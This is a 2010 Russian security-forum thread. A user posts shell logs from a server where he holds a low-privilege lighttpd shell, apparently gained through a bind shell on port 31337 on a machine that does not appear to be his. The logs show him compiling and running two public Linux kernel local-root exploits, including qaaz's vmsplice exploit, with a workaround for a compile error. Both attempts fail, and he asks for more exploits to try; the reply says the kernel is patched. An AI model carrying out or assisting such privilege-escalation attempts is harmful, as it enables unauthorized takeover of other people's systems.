HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Безопасность и Анонимность > *nix
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Local Root - При сборке вываливается 'PAGE_SIZE' undeclared
  #1  
Старый 03.04.2010, 12:09
M@rtein
Познающий
Регистрация: 09.08.2007
Сообщений: 58
С нами: 9872056

Репутация: 15
Question Local Root - При сборке вываливается 'PAGE_SIZE' undeclared

Такая проблема, пробовал 2 сплоита по ядро, при компиляции обоих gcc ругался на 'PAGE_SIZE' undeclared
Тогда в начале каждого добавил #define PAGE_SIZE getpagesize()
Правильно ли я поступил? Какие еще сплоиты можно попробовать.

Ниже лог работы:
Код:
sh-3.2$ uname -a
Linux srvb001.a098.domen.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 ES
T 2009 x86_64 x86_64 x86_64 GNU/Linux
# Title: 2.6.18-20 2009 Local Root Exploit
# Author: DigitALL
# Published: 2009-12-23

Код:
Cmd line: -l -p 31337
sh: no job control in this shell
sh-3.2$ id
uid=101(lighttpd) gid=105(lighttpd) groups=105(lighttpd)
sh-3.2$ mount
/dev/mapper/VolGroup00-LogVol00 on / type ext3 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
/dev/sda1 on /boot type ext3 (rw)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /home type ext3 (rw)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)
sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw)
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 1.c
sh-3.2$ chmod +x 1.c
sh-3.2$ whereis gcc
gcc: /usr/bin/gcc /usr/lib/gcc /usr/libexec/gcc /usr/share/man/man1/gcc.1.gz
sh-3.2$ gcc 1.c -o 1
1.c: In function 'main':
1.c:193: error: 'PAGE_SIZE' undeclared (first use in this function)
1.c:193: error: (Each undeclared identifier is reported only once
1.c:193: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
Код:
 
sh-3.2$ gcc 1.c -o 1
sh-3.2$ ./1
-----------------------------------
 Linux 2.6.18-20 2009 Local Root Exploit
 By DigitALL
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b641ed0a000 .. 0x2b641ed3c000
[-] vmsplice: Bad address
jessica_biel_naked_in_my_bed.c
Система та же.
Код:
 
sh-3.2$ cd /tmp
sh-3.2$ mkdir logs
sh-3.2$ cd ./logs
sh-3.2$ touch 2.c
sh-3.2$ chmod +x 2.c
sh-3.2$ gcc -static -Wno-format 2.c -o 2
2.c: In function 'main':
2.c:211: error: 'PAGE_SIZE' undeclared (first use in this function)
2.c:211: error: (Each undeclared identifier is reported only once
2.c:211: error: for each function it appears in.)
Дописал директиву #define PAGE_SIZE getpagesize()
скомпилилось успешно
Код:
 
sh-3.2$ gcc -static -Wno-format 2.c -o 2
sh-3.2$ ./2
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2ad8ad5cc000 .. 0x2ad8ad5fe000
[-] vmsplice: Bad address
 

  #2  
Старый 03.04.2010, 14:05
razb
Постоянный
Регистрация: 24.03.2009
Сообщений: 670
С нами: 9017461

Репутация: 414


По умолчанию

Ядро патченое
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
химия своими руками silveran Болталка 43 11.01.2006 22:05



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.